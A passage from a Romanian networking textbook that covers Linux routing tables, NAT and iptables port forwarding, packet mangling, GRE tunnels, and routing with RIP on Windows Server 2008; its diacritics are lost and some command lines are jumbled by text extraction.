Tabela de rutare poate fi alterat prin intermediul comenzii ip r change:


cuirass:~# ip r c default via 172.16.68.5 cuirass:~# ip r l 192.168.38.100 via 172.16.68.2 dev eth0 192.168.38.0/24 via 172.16.68.2 dev eth0 172.16.68.0/24 dev eth0 proto kernel scope link default via 172.16.68.5 dev eth0

src 172.16.68.128

Sunt ntlnite frecvent cazuri n care este nevoie de mai multe rute ctre o singur destinaie. Motivul principal al unei astfel de implementri este redundana. n cazul n care o rut devine inutilizabil, poate fi folosit una dintre rutele de rezerv. Criteriul pentru stabilirea rutei principale este costul acesteia. Din punct de vedere al sistemului de operare, prioritatea rutelor este stabilit de metric. Rutele instalate folosind comenzile de mai sus au metrica default 0. Pentru schimbarea metricii (i prioritizarea rutelor) se poate folosi opiunea metric la adugarea unei intrri n tabela de rutare:
cuirass:~# ip r a 192.168.3.2 via 172.16.68.5 metric 5 cuirass:~# ip r l match 192.168.3.2 192.168.3.2 via 172.16.68.5 dev eth0 metric 5 default via 172.16.68.5 dev eth0

Comanda ip r l match este folosit pentru a afia intrrile din tabela de rutare care corespund unei anumite reele. n exemplul de mai sus se afieaz ruta de tip host ctre 192.168.3.2 i ruta implicit care se potrivete cu orice adres.

4.5.2.3 tergerea de rute


tergerea de rute este mai simpl dect adugarea, deoarece nu trebuie specificat dect reeaua / staia spre care duce ruta. Rutele din tabela de rutare pot fi terse cu ajutorul comenzii ip route del. n exemplele de mai jos se elimin o rut de tip host, o rut de tip reea i o rut implicit:
cuirass:~# ip r l 192.168.3.2 via 172.16.68.5 dev eth0 metric 5 192.168.38.100 via 172.16.68.2 dev eth0 192.168.38.0/24 via 172.16.68.2 dev eth0 172.16.68.0/24 dev eth0 proto kernel scope link default via 172.16.68.5 dev eth0 cuirass:~# ip r d 192.168.3.2 cuirass:~# ip r d 192.168.38.0/24 cuirass:~# ip r d default cuirass:~# ip r l 192.168.38.100 via 172.16.68.2 dev eth0 172.16.68.0/24 dev eth0 proto kernel scope link

src 172.16.68.128

src 172.16.68.128

144 | R e e l e L o c a l e

4.5.2.4 Adugarea de rute cu caracter permanent


Pentru ca modificrile efectuate asupra tabelei de rutare s aib caracter permanent, se folosete fiierul /etc/network/interfaces. n acest fiier pot fi configurate comenzi care s adauge rute la pornirea sistemului sau n momentul folosirii scripturilor de interaciune specifice (/etc/init.d/networking). Configurarea rutei implicite se realizeaz prin intermediul directivei gateway. Mai jos este precizat o configuraie care adaug ruta implicit ctre 192.168.1.1 i o rut ctre staia 192.168.38.100:
cuirass:~# cat /etc/network/interfaces [...] # The primary network interface allow-hotplug eth0 auto eth0 iface eth0 inet static address 172.16.68.128 netmask 255.255.255.0 broadcast 172.16.68.255 gateway 172.16.68.2 dns-nameservers 172.16.68.2 up ip route add 192.168.38.100/32 via 172.16.68.5 cuirass:~# /etc/init.d/networking restart Reconfiguring network interfaces...done. cuirass:~# ip r l 192.168.38.100 via 172.16.68.5 dev eth0 172.16.68.0/24 dev eth0 proto kernel scope link src 172.16.68.128 default via 172.16.68.2 dev eth0

Opiunea up este folosit la rularea unei comenzi dup activarea interfeei. n exemplul de mai sus, dup activarea interfeei se adaug o rut ctre reeaua 192.168.38.100.

4.6 NAT - Network Address Translation


NAT1 ofer posibilitatea schimbrii unei adrese IP cu o alta din antetul unui pachet IP. n practic, NAT se folosete pentru a permite staiilor care utilizeaz adrese private s acceseze Internetul. Deoarece exist un numr destul de mare de reele neconectate la Internet, IETF a ncercat s reglementeze folosirea adreselor n cadrul acestor reele. Soluia2 a fost definirea unor spaii de adrese private, adrese ce nu pot fi rutate pe Internet. Clasa A B C Spaiul de adrese 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 10.0.0.0 10.255.255.255 172.16.0.0 172.31.255.255 192.168.0.0 192.168.255.255

4-4: Clasele private de adrese Obinerea unei reele are un cost fix de 50$ plus TVA. Costul este foarte mic, dar procesul este anevoios, deoarece necesit justificarea dimensiunii spaiului de adrese, precum i o ateptare de pn la 3 luni. Folosirea adreselor private ofer o schem de adresare rapid i comod. n plus, datorit faptului c adresele staiilor nu sunt accesibile din afara reelei, folosirea adreselor private este deseori considerat una dintre cele mai eficiente politici de securitate. n acelai timp, adresele private pun o serie de probleme. Cea mai important este faptul c routerul prin care reeaua privat acceseaz Internetul va trebui s fie capabil s fac conversia adreselor private n adrese publice, deci s ruleze un serviciu de NAT. Acest serviciu
1 2

http://tools.ietf.org/html/rfc1631 http://tools.ietf.org/html/rfc1918

145 | R u t a r e a n I n t e r n e t

impune o laten suplimentar pentru fiecare pachet ce tranziteaz routerul. Un alt dezavantaj este acela c n interiorul unei reele private nu se recomand plasarea de calculatoare care ofer servicii publice, ntruct este dificil s fie iniiate conexiuni din exterior ctre acestea. Translatarea static a adreselor presupune constituirea unei tabele de translatare ce va atribui ntotdeauna aceeai adres public pentru o adres privat dat. Trebuie s existe n acest caz un numr egal de adrese publice i adrese private. Translatarea dinamic a adreselor presupune definirea unui rezervor de adrese publice, care apoi vor fi atribuite n funcie de ordinea n care staiile solicit conexiuni cu Internetul. Odat ncheiat ultima conexiune a unei staii, adresa public este returnat n rezervorul de adrese, putnd fi alocat unei alte staii. Avantajul major al acestei implementri este c numrul adreselor publice poate fi semnificativ mai redus dect al celor private. Dac spre exemplu se ia o reea cu 200 de calculatoare, dar din care pe Internet nu sunt niciodat mai mult de un sfert, atunci se poate realiza o translatare dinamic a adreselor pe un spaiu de 64 de adrese publice, i nu 256 ca n cazul translatrii statice. Translatarea adreselor cu suprancrcare este forma cea mai des ntlnit de NAT. n prezent, cnd se face referire la translatarea adreselor, n realitate se face referire la translatarea adreselor cu suprancrcare. Aceast metod ofer posibilitatea folosirii unei singure adrese publice pentru mai multe staii ce acceseaz Internetul. Din aceast cauz aceast metod mai este numit i NAT multi-la-unu sau PAT (Port Address Translation). Avantajul PAT este c permite un numr de aproximativ 64000 de conversaii simultane de la orice host intern ctre exterior cu o singur adres extern. Implementarea nlocuiete pachetul din reeaua local cu adresa surs S, adresa destinaie D, portul surs P, portul destinaie Q, cu altul nou ce va avea adresa surs M (adresa routerului), adresa destinaie D, portul surs K. Portul destinaie nu se schimb. De asemenea se memoreaz asocierea (S,P) K. Dac un pachet ajunge pe router din exterior, avnd adresa destinaie M, adresa surs Q i portul destinaie K, atunci acest pachet va fi nlocuit cu un altul cu adresa destinaie S, adresa surs Q, portul destinaie P i va fi trimis n reeaua local. Portul surs nu se schimb. Figura de mai jos prezint un exemplu de PAT. Staiile din reeaua local cu adresele 10.0.0.2 respectiv 10.0.0.3 se conecteaz la staia 141.85.37.1 prin SSH (portul destinaie este 22). Gateway-ul cu adresa 64.6.8.13 ascunde identitatea celor dou staii i realizeaz maparea portului 52108 al staiei 10.0.0.2 peste portul 2002 local i cel al portului 52108 al staiei 10.0.0.3 peste portul local 2003. Un caz special al PAT l reprezint redirectarea. n acest caz se va nlocui pachetul primit din reeaua local avnd adresa surs S, adresa destinaie D, portul P cu un altul avnd adresa surs S, adresa destinaie M (adresa routerului), portul R (portul n care se face redirectarea, specificat de utilizator). Redirectarea este n general folosit pentru a implementa un proxy transparent, caz n care pe routerul M portul R ascult un proxy configurat pentru proxy transparent.

146 | R e e l e L o c a l e

10.0.0.2 141.85.37.1

64.6.8.13 141.85.37.1 2002 22

10.0.0.2

52108 22

Internet
10.0.0.3 141.85.37.1 52108

64.6.8.13

64.6.8.13 141.85.37.1 2003 22

10.0.0.3

22

4-5: NAT overloaded (PAT)

4.6.1 Translatarea de adrese n Linux


n Linux, translatarea adreselor se realizeaz folosind utilitarul iptables. Utilitarul iptables este folosit pentru NAT i pentru filtrarea pachetelor (firewall software). Dup cum i spune i numele, utilitarul dispune de tabele asociate anumitor scopuri:
tabela nat este folosit pentru NAT; tabela filter este folosit pentru filtrarea pachetelor; tabela mangle este o tabel folosit pentru alterarea avansat a pachetelor.

Fiecare tabel conine un set de lanuri dedicate unui anumit tip de aciune. n fiecare lan pot fi adugate reguli specifice care definesc modul n care vor fi prelucrate diversele pachete. Pentru translatarea de adrese se folosete tabela nat. n aceast tabel exist trei lanuri predefinite: PREROUTING - modific pachetul imediat ce acesta intr n router, nainte de a fi rutat, OUTPUT - modific pachetele generate local nainte ca acestea s intre n procesul de rutare, i POSTROUTING - modific pachetele ce urmeaz s plece din router, dup ce acestea au fost rutate. intele valide sunt ACCEPT, DROP, QUEUE, REJECT, LOG, SNAT, DNAT, MASQUARADE, REDIRECT.

4.6.1.1 Aciuni n cadrul tabelei nat


Aciunile posibile n cadrul tabelei NAT sunt SNAT, DNAT, MASQUERADE i REDIRECT. SNAT se folosete pentru a indica o translatare de adrese de tip PAT pe adresa surs. Adresa surs a pachetului va fi modificat la una din intervalul specificat prin opiunea --tosource. Cu aceeai opiune se poate specifica i intervalul n care se va alege portul surs cnd se face translatarea de adrese. Aceast int este valid numai n lanul POSTROUTING (i lanurile chemate din acest lan). DNAT se folosete pentru o translatare de adrese de tip PAT pe adresa destinaie. Adresa destinaie a pachetului va fi modificat la una din intervalul specificat prin opiunea --todestination. Aceast int este valid numai n lanurile PREROUTING i OUTPUT (i lanurile chemate din acest lan).

147 | R u t a r e a n I n t e r n e t

este echivalent cu SNAT. Adresa surs va fi nlocuit cu adresa setat a interfeei pe care va fi trimis pachetul. Trebuie folosit n loc de SNAT dac adresa la care se face translatarea este setat dinamic (prin DHCP de exemplu). REDIRECT se folosete pentru a redirecta pachetul, local, pe portul specificat de opiunea --to-port. Aceast int este valid numai n lanurile PREROUTING i OUTPUT.
MASQUERADE

4.6.1.2 Exemple de utilizare a tabelei nat


Pentru a evidenia mai bine lucrurile menionate mai sus se pot urmri regulile de mai jos:
iptables -t nat -A POSTROUTING -o eth1 s 192.168.0.0/24 -j SNAT --to-source 1.2.3.4 iptables -t nat -A PREROUTING i eth0 -d 14.15.16.17 -j DNAT --to-destination 192.168.100.1

Prima regul poate fi interpretat n felul urmtor: toate pachetele ce vin cu adresa IP surs din reeaua 192.168.0.0/24 vor fi trimise pe interfaa eth1 cu adresa IP surs 1.2.3.4, dup ce acestea vor fi rutate. Cea de-a doua regul va schimba adresa IP destinaie (14.15.16.17) a pachetelor ce intr pe interfaa eth0 cu adresa IP 192.168.100.1, nainte ca acestea s fie rutate. n exemplul de mai jos a fost prezentat configurarea iptables pentru translatarea de adrese pe sistemul 141.85.37.1 din reeaua 192.168.1.0/24. Aceast main este doar router, iar serverul de web, serverul de e-mail i serverul de DNS ruleaz pe servere diferite, n reeaua intern. Routerul are conectat interfaa eth0 la reeaua intern i interfaa eth1 la Internet.
iptables -t nat -A POSTROUTING -o eth1 -s iptables -t nat -A PREROUTING -i eth1 destination 192.168.1.2 iptables -t nat -A PREROUTING -i eth1 destination 192.168.1.3 iptables -t nat -A PREROUTING -i eth1 destination 192.168.1.4 iptables -t nat -A PREROUTING -i eth1 destination 192.168.1.4 192.168.1.0/24 -j SNAT --to-source 141.85.37.1 -p tcp --destination-port 80 -j DNAT --to-p tcp --destination-port 25 -j DNAT --to-p tcp --destination-port 53 -j DNAT --to-p udp --destination-port 53 -j DNAT --to-

Prima linie din exemplu este folosit pentru ca staiile din reea s poat accesa Internetul. La trecerea pachetelor prin router, adresa surs a staiilor (adres privat) va fi nlocuit cu adresa routerului (adres public). Urmtoarele linii vor trimite traficul de web, e-mail i DNS ctre serverele din interior. n acest context, din exterior, aparent routerul este i server de web, e-mail i DNS. Ce se ntmpl dac se dorete ca serviciile din reeaua intern, care sunt fcute publice, s fie vzute din exterior ca rulnd pe porturi diferite fa de cele standard? Metoda ce poate fi aplicat aici se numete port forwarding. Aceast metod permite unei staii (firewall) s trimit cererile ce i sunt adresate ctre o alt staie ce va procesa aceste cereri. Cea mai folosit ntrebuinare a acestei metode apare cnd serverele ruleaz pe staii aflate n reeaua intern (dup firewall). Cu alte cuvinte, se presupune existena unui gateway cu dou interfee, eth0 fiind conectat la reeaua intern i eth1 la Internet. Fie 141.85.37.1 adresa IP public a interfeei eth1 i 192.168.0.2 adresa IP a staiei pe care ruleaz un serviciu web, pe portul implicit 80, staie ce va putea fi accesat din exterior. n exemplul de mai jos se va face redirectarea conexiunilor ce vin pe 141.85.37.1:8888 (<IP_extern:port>) ctre 192.168.0.2:80 (IP_intern:port).
iptables -t nat -A PREROUTING -i eth1 -p tcp d 141.85.37.1 dport 8888 j DNAT -todestination 192.168.0.2:80

4.6.2 Alterarea avansat a pachetelor


Tabela mangle este folosit pentru a modifica atribute specifice ale pachetelor. NAT modific doar adresele dintr-un pachet. Tabela mangle poate fi folosit pentru a schimba

148 | R e e l e L o c a l e

informaii precum TTL, TOS, sau pentru a marca un pachet. Marcarea pachetelor este folosit doar n interiorul routerului. Odat ce un pachet prsete routerul, informaiile adugate la marcare vor fi ndeprtate. n prezent, marcarea pachetelor este folosit de ctre sistemul de Quality of Service (QoS). Exist trei lanuri predefinite: INPUT - modific pachetele destinate routerului, FORWARD modific pachetele n curs de rutare, i POSTROUTING - modific pachetele dup rutare. intele valide includ ACCEPT, DROP, QUEUE, REJECT, LOG precum i cele specifice tabelei, prezentate mai jos. MARK marcheaz pachetul cu valoarea specificat prin opiunea --set-mark. Pachetele marcate se pot folosi ulterior n procesul de rutare sau QoS. TOS seteaz cmpul de type of service la valoarea specificat prin opiunea --set-tos. TTL seteaz cmpul TTL la valoarea specificat prin opiunea --ttl-set, decrementeaz valoarea acestuia (dac se folosete opiunea --ttl-dec) sau incrementeaz valoarea acestuia (dac se folosete opiunea --ttl-inc). Mai jos este prezentat un exemplu de alterare avansat a pachetelor, n care dou staii din reeaua intern, 141.85.37.13 i 141.85.37.169 pot accesa doar reeaua intern (reeaua departamentului) i reeaua imediat urmtoare (reeaua organizaiei).
iptables -t mangle -A FORWARD -s 141.85.37.13 -j TTL --ttl-set 2 iptables -t mangle -A FORWARD -s 141.85.37.169 -j TTL --ttl-set 2

4.6.3 Tunelare
O reea privat virtual (VPN Virtual Private Network) reprezint o modalitate de asigurare a unei conexiuni sigure peste o infrastructur public. Principalele tehnologii ce permit stabilirea unei astfel de conexiuni sunt criptarea i tunelarea. Odat cu apariia reelelor private virtuale de nivel 2, componenta de criptare a fost abandonat, singura caracteristic universal a soluiilor de VPN rmnnd tunelarea. Principalul scop al tunelrii ntr-o reea virtual este de a ascunde (fr a altera) att identitatea sursei ct i a destinaiei fa de routerele de pe parcurs, routere ce aparin infrastructurii publice. Dac s-ar apela la o translatare de adres, informaiile originale nu ar fi accesibile dect serverului de translatare de adres. n cazul tunelrii antetul iniial al pachetului este pstrat nealterat, atandu-se un nou antet ce va avea ca adres surs adresa captului local al tunelului, iar ca adres destinaie adresa celuilalt capt al tunelului. Cel mai adesea tunelarea se realizeaz la nivelul reea prin tunelarea traficului IPv4 printrun tunel IPv4, precum n cazul VPN, sau tunelarea unui alt protocol rutat, spre exemplu tunelarea traficului IPv6 peste o infrastructur IPv4 (tunel 6to4). Se poate folosi tunelare i n cazul traficului de nivel legtur de date, cea mai ntlnit metod de tunelare fiind tunelarea dot1q, folosit de ISP n cazul n care acesta ofer conservarea informaiilor de VLAN din reelele clienilor. O categorie aparte de tunelare o reprezint tunelarea de nivel 2,5 folosit spre exemplu n arhitecturile de IP MPLS. Avnd n vedere c principalul scop al tunelrii IP peste IP este acela de a oferi securitate, trebuie s rspundem la ntrebarea: n ce msur se obine un plus de securitate folosind tunelarea, atta vreme ct informaiile originale se afl n continuare n cadrul original? Rspunsul la aceast ntrebare ine de aprecierea volumului foarte mare de date ce trebuie comutate n nucleul Internetului. Valoarea foarte ridicat a traficului determin ca orice prelucrare adiional a cadrelor s aib consecine semnificative pentru scalabilitatea reelei. Altfel spus, dei teoretic este posibil selectarea foarte precis doar a pachetelor de

149 | R u t a r e a n I n t e r n e t

autentificare pentru sesiunile de telnet spre exemplu, o inspectare att de amnunit a tuturor cadrelor ce sunt comutate de router poate duce la o scdere a performanei unui router dedicat de pn la o valoare de doar 20% din perfomana iniial. Cu toate acestea, n cazul unei infrastructuri publice cu un grad sczut de siguran securitatea unei reele virtuale private nu mai poate fi asigurat doar prin tunelare, fiind necesar i criptarea traficului. Care este consecina creterii lungimii pachetelor prin adugarea unui nou antet n cazul tunelrii? Atta vreme ct pachetele prin adugarea noului antet se ncadreaz n dimensiunea maxim a cadrului (1500 octei), adugarea noului antet de tunelare are un impact minor pentru performanele reelei. Dac, n schimb, se va ajunge la tunelarea pachetelor care dup ncapsularea de nivel reea au deja 1500 de octei, prin adugarea unui nou antet se va depi dimensiunea maxim impus de protocolul de nivel legtur de date, n acest caz urmnd s apar o fragmentare n dou cadre. Astfel fiecare cadru care n urma tunelrii va depi 1500 de octei va fi mprit n dou cadre. Chiar i n cazul n care exist un trafic susinut ntre aceai surs i destinaie, trafic bazat pe trasferul de cadre de lungime maxim, n urma tunelrii se va dubla numrul de pachete. Dei jumtate din pachete vor fi de dimensiune minim, acestea vor fi transmise individual, deoarece complexitatea concatenrii lor n unul sau mai multe cadre de lungime maxim este considerat prea mare. n implementrile uzuale se dorete nu numai evitarea concatenrii fragmentelor de lungime minim, dar chiar evitarea fragmentrii. Acest lucru se realizeaz prin impunerea unei dimensiuni maxime datelor nainte de ncapsularea de nivel reea. MTU (Maximum Transfer Unit) reprezint dimensiunea maxim a pachetelor dup ncapsularea de nivel reea. MSS (Maximum Segment Size) reprezint dimensiunea maxim a pachetelor nainte de ncapsularea de nivel reea. n cazul trasferului traficului IPv4 peste un tunel IPv4, se definete MSS ca fiind cu 40 de octei mai mic dect MTU, aceti 40 de octei reprezentnd cele dou antete IPv4 ce vor fi adugate la nivelul reea. Pentru a evita fragmentarea, limitarea MSS trebuie operat pe staia surs. Pentru aceasta n sistemele Windows trebuie modificate dou chei n baza de date de regitri, iar n Linux limitarea se impune prin configurarea iptables.

4.6.4 Configurarea tunelului GRE n Linux


n seciunea 4.6.3 s-a prezentat conceptul de tunelare i se recomand parcurgerea acesteia naintea seciunii urmtoare. GRE1 (Generic Routing Encapsulation) este un protocol de tunelare care ncapsuleaz diferite informaii n pachete IP. Linux permite crearea de tunele GRE cu ajutorul modulului ip_gre:
ip_gre valhalla:/home/razvan# lsmod | grep ip_gre 15620 0

Crearea tunelelor GRE se realizeaz cu ajutorul utilitarului iproute2 prin intermediul comenzii ip tunnel.

http://tools.ietf.org/html/rfc1701

150 | R e e l e L o c a l e

Folosirea tunelelor GRE n Linux va fi exemplificat printr-un scenariu tipic. Exist dou reele A i B interconectate printr-o reea C. Reelele A i B dein staii cu adrese private. Routerul R1 este folosit pe post de gateway de reeaua A, iar routerul R2 este folosit pe post de gateway de reeaua B. Informaiile asociate celor dou reele sunt prezentate n tabelul de mai jos: Reea A Adres reea Adres intern R1 Adres extern R1 Adres sistem de test 172.16.68.0/24 172.16.68.1 141.85.37.178 172.16.68.128 Adres reea Adres intern R1 Adres extern R1 Adres sistem de test Reea B 10.38.0.0/16 10.38.0.1 141.85.37.1 10.38.6.123

Pentru reeaua A se creeaz tunelul netb i interfaa cu acelai nume:


valhalla:~# valhalla:~# valhalla:~# valhalla:~# ip ip ip ip t add netb mode gre remote 141.85.37.1 local 141.85.37.178 ttl 255 l set netb up addr add 172.16.68.1 dev netb route add 10.38.0.0/16 dev netb

Ruta ctre reeaua B este intermediat de interfaa virtual netb asociat tunelului GRE. La fel, pentru reeaua B se creeaz tunelul neta i interfaa cu acelai nume:
root@csr:~# root@csr:~# root@csr:~# root@csr:~# ip ip ip ip t l a r a neta mode gre remote 141.85.37.178 local 141.85.37.1 ttl 255 set neta up a 10.38.0.1 dev neta a 172.16.68.0/24 dev neta

n acest moment, dei aflate n reele private, staiile pot comunica unele cu celelalte. Prin tunelul folosit toate pachetele de la staiile din reeaua A vor ajunge la staiile din reeaua B. O captur de pachete folosind tcpdump are urmtorul coninut:
22:07:36.819507 IP 141.85.37.178 > 141.85.37.1: GREv0, length 88: IP 172.16.68.128 > 10.38.6.123: ICMP echo request, id 41995, seq 1, length 64 22:07:36.820140 IP 141.85.37.1 > 141.85.37.178: GREv0, length 88: IP 10.38.6.123 > 172.16.68.128: ICMP echo reply, id 41995, seq 1, length 64 22:07:37.827154 IP 141.85.37.178 > 141.85.37.1: GREv0, length 88: IP 172.16.68.128 > 10.38.6.123: ICMP echo request, id 41995, seq 2, length 64 22:07:37.827657 IP 141.85.37.1 > 141.85.37.178: GREv0, length 88: IP 10.38.6.123 > 172.16.68.128: ICMP echo reply, id 41995, seq 2, length 64

Se observ ca staia cu adresa 172.16.68.128 din reeaua A transmite pachete IMCP Echo request ctre staia cu adresa 10.38.6.123 din reeaua B, iar aceasta i rspunde. Toat comunicaia este ncapsulat n tunelul GRE. Pachetele ICMP sunt ncapsulate n pachete IP n care adresele IP surs, respectiv destinate sunt adresele IP externe ale routerelor R1 i R2.

4.7 Rutarea n Windows Server 2008


4.7.1 Routing and remote access services
Dispozitivul care reunete dou segmente separate de reea (denumite i subreele, n contextul reelelor TCP/IP) este denumit, generic, un router. Principalul rol al unui router este de a decide dac pachetele care sosesc la el trebuie s ajung sau nu ntr-un alt segment de reea conectat la acesta.

151 | R u t a r e a n I n t e r n e t

Majoritatea reelelor folosesc echipamente dedicate n acest scop, al rutrii. Acestea reprezint soluii hardware ce funcioneaz cu propriile sisteme de operare (Cisco, Juniper, etc) i sunt destinate reelelor de mrime medie i mare. Windows Server 2008 ofer o soluie software pentru rutare prin intermediul serviciilor grupate sub denumirea de Routing and Remote Access. Din punct de vedere hardware, singurele modificri necesare pentru a implementa un proces de rutare folosind Windows Server 2008 sunt una sau mai multe plci de reea suplimentare. Soluiile software pentru rutare reprezint o alternativ viabil pentru cazurile n care nu este necesar implementarea unor soluii dedicate: izolarea a mici segmente de reea sau folosirea serverului ca gateway spre Internet pentru o reea local de mici dimensiuni. n cazul n care Windows Server 2008 este instalat pe un sistem cu rol de gateway, exist opiunea de a rula i serviciul de NAT (Network Address Translation) pentru a oferi conectivitate n exterior unei reele care folosete adrese private printr-o singur adres public. Principiul de funcionare a procedeului de rutare n Windows Server 2008 este acelai ca i n cazul echipamentelor dedicate: deciziile sunt luate pe baza rutelor din tabela de rutare. n plus, serviciul de Routing and Remote Access poate fi configurat att pentru rute statice ct i pentru rute dinamice, obinute prin intermediul unui protocol de rutare. Intruct Windows Server 2008 este conceput ca o soluie de rutare pentru reele de dimensiune mic, protocolul de rutare suportat este RIP (Routing Internet Protocol). Pentru a putea folosi serviciul de rutare n Windows Server 2008 este necesar adugarea acestuia ca rol al serverului, din Server Manager. Pentru aceasta, de la linkul Add roles se selecteaz Network Policy and Access Services. n continuare, nainte de instalare, se ofer opiunea de a selecta subcomponente ale acestui rol. Pentru rutare este necesar selectarea Routing and Remote Access Services, cu ambele sale componente: Remote Access Service i Routing (figura 4-6).

4-6: Instalarea serviciului de Routing and Remote Access Services Pentru a putea configura rutarea prin RRAS trebuie activat nti serviciul. Acestea pot fi realizate prin consola Server Manager. Dup instalare, Routing and Remote Access poate fi gsit sub Network Policy and Access Services n cadrul rolurilor serverului. Configurarea iniial i pornirea serviciului se face prin selectarea Routing and Remote Access i accesarea meniului More Actions din panoul de aciuni urmat de alegerea opiunii Configure and Enable Routing and Remote Access. Atenie, nu se poate activa sau configura serviciul de rutare pe Windows Server 2008 att timp ct maina pe care este instalat serviciul realizeaz partajarea unei conexiuni la Internet. nainte de a porni configurarea conform descrierii de mai sus, trebuie dezactivat ICS (Internet Connection Sharing) pentru toate conexiunile, din interfaa Network Connections.

152 | R e e l e L o c a l e

4-7: Configurarea RRAS Printre opiunile diponibile iniial se enumer configurarea VPN sau NAT. Pentru configurarea rutrii se va alege opiunea Custom Configuration (figura 4-7). n continuare, din meniul Custom Configuration se alege LAN routing (figura 4-8).

4-8: Activarea rutrii Pentru ca rutarea s se poat realiza, un server trebuie s aib conectivitate de nivel 3 cu toate reelele n care are cte o interfa deja configurat. De aceea, dup conceperea schemei de adrese ce va fi implementat, trebuie configurat fiecare interfa de reea ce va interveni n procesul de rutare cu cte o adres static din subreeaua corespunztoare ei, mpreun cu masca de reea adecvat. De asemenea, staiile din reelele interconectate de ctre server trebuie s aib interfaa acestuia, cea care se afl n aceeai subreea cu respectiva staie, configurat ca default gateway pentru a putea comunica n afara reelei proprii. Configurarea static a parametrilor de reea, att pentru IPv4 ct i pentru IPv6 se face din fereastra de proprieti a fiecrei conexiuni, dup cum s-a explicat n seciunea 3.4.4. Lista interfeelor, a tipurilor conexiunilor i a strilor lor pot fi vizualizate din Server Manager, n cadrul rolului Routing and Remote Access, selectnd Network Interfaces (figura 4-9).

153 | R u t a r e a n I n t e r n e t

4-9: Starea interfeelor de reea din sistem Pentru a afia informaiile de nivel 3, mpreun cu statistici de trafic pentru fiecare interfa i mai multe detalii despre starea conexiunilor, se poate selecta General din cadrul proprietilor de tip IPv4 sau IPv6, sub Routing and Remote Access (figura 4-10).

4-10: Starea configuraiilor IPv4 a interfeelor de reea

4.7.1.1 Configurarea rutelor statice


O rut static reprezint o rut introdus manual de ctre administrator, fix, ce nu reacioneaz la schimbrile din topologie. n Windows, ea este definit prin:
o interfa, local serverului, pe care ruta va fi instalat; o adres destinaie, care poate fi adresa unei staii sau adresa unei subreele; o masc de reea, folosit mpreun cu adresa anterioar pentru a defini exact destinaiile rutei; un gateway, adic adresa dispozitivului care realizeaz conexiune intre reele. Interfaa specificat ca gateway este cea care va primi pachetele ce vor utiliza aceast rut; metric, o metod de a msura rutele i, n primul rnd, pentru a diferenia rute multiple spre aceeai destinaie.

Pentru a crea o rut static se alege nti categoria, IPv4 sau IPv6 din cadrul rolului Routing and Remote Access iar din panoul de aciune se alege More Actions > New Static Route i se completeaz parametrii descrii mai sus. Dup creare, rutele statice vor aprea listate la categoria corespunztoare (IPV4 sau IPv6), pot fi editate prin dublu-clic i terse selectndu-le i apsnd Delete n panoul de aciuni. De asemenea, rutele devin active imediat ce au fost configurate.

154 | R e e l e L o c a l e

4-11: Parametrii unei noi rute statice

4-12: Listarea rutelor statice

4.7.1.2 Configurarea rutrii dinamice


n vederea configurrii rutrii dinamice, Windows Server 2008 suport doar protocolul de rutare RIP (Routing Internet Protocol), versiunea 2 (RIP v2). Windows Server 2003 suporta i protocolul OSFP (Open Shortest Path First) dar acesta a fost eliminat din Windows Server 2008, singura opiune pentru propagarea dinamic a rutelor rmnnd utilizarea lui RIP. Protocolul RIP funcioneaz in felul urmtor : trimite tuturor vecinilor care ruleaz acelai protocol ntreaga tabel de rutare la fiecare 30 de secunde, fiecare client actualizndu-i la rndul su propria tabel de rutare dac apar modificri n datele primite de la vecini. Acest mod de funcionare nu l face adecvat pentru infrastructuri mari, n care convergena rapid i eficient este o cerin important. Totui, nici rutarea n software nu este recomandat n aceste cazuri, deci pentru situaiile n care Windows Server 2008 se preteaz ca router, este acceptabil i performana pe care o ofer RIP. Pentru a aduga serverului protocolul de rutare RIP se urmeaz paii:
1. Se expandeaz unul dintre nodurile IP din cadrul Routing and Remote Access, din Server Manager. Se poate alege att IPv4 ct i IPv6 pentru a propaga rute folosind RIP. 2. Se face clic dreapta pe General i se alege New Routing Protocol din meniu. La fel, opiunea este disponibil i n panoul de aciuni. Este afiat o list asemntoare cu cea din figura 4-13).

155 | R u t a r e a n I n t e r n e t

4-13: Selectarea RIP v2 ca protocol de rutare


3. Se selecteaz RIP din list dup care este adugat automat un nou nod denumit RIP n cadrul versiunii IP selectate. Selectarea lui RIP pentu IPv4, spre exemplu, nu va configura automat folosirea RIP i pentru IPv6. Dac se dorete folosirea adreselor IPv6, RIP trebuie adugat explicit pentru acestea.

4.7.1.2.1 Interfee RIP


Pentru ca RIP s poat funciona, trebuie s i se comunice pe ce interfee s ruleze. Mai mult, toate setrile ulterioare care influeneaz comportamentul RIP-ului se fac la nivel de interfa.
1. Avnd nodul RIP selectat (creat dup procedura descris mai sus), se poate face clic dreapta pe acesta, alegndu-se opiunea New Interface (sau din panoul de aciuni) i se alege o interfa pe care protocolul RIP va rula (figura 4-14).

4-14: Interfaa pe care va rula RIP


2. La apsarea butonului OK, este afiat fereastra de proprieti a interfeei selectate (figura 4-15). 3. Pagina de proprieti generale ofer posibilitatea selectrii versiunii de RIP folosite att n mesajele acceptate ct i n cele trimise. Folosirea versiunii 1 implic o serie de limitri suplimentare dar este necesar dac alte echipamente din reea o suport doar pe aceasta. 4. Pagina de securitate permite setarea unor parametri legai de acceptarea rutelor. Exist posibilitatea de a accepta toate rutele, sau de a accepta sau ignora rutele dintr-un anumit interval. 5. Setrile legate de vecinii cu care se efectueaz schimbul de rute includ posibilitatea de a folosi mesaje multicast (implicit) sau a celor unicast pentru a contacta anumiti vecini (fie n locul mesajelor multicast, fie mpreun cu ele). 6. Pagina de proprieti avansate permite modificarea unor parametri ca frecvena de trimitere a actualizrilor, activarea sau dezactivarea unor faciliti ca split-horizon sau poison-reverse, etc.

156 | R e e l e L o c a l e

4-15: Proprietile unei intefee RIP Dup validarea configurrii, interfaa va aprea n lista intefeelor active pentru RIP. Pot fi adugate oricte alte interfee repetnd aceeai procedur. Monitorizarea activitii de rutare se realizeaz din aceeai consol administrativ. Spre exemplu, pentru a vizualiza o list a vecinilor care ruleaz RIP, se poate selecta nodul RIP din una dintre categoriile IPv4 sau IPv6 i apoi se poate alege opiunea Show Neighbors. Starea interfeelor incluse n procesul de rutare poate fi vizualizat prin nodul General din cadrul protocolului IP corespunztor. De aici poate fi vizualizat tabela de rutare pentru fiecare interfa, prin selectarea uneia i alegerea opiunii Show IP Routing Table din meniul contextual.

157 | R u t a r e a n I n t e r n e t

4.8 Studii de caz


4.8.1 ncapsularea pachetelor: exemplificare port forwarding

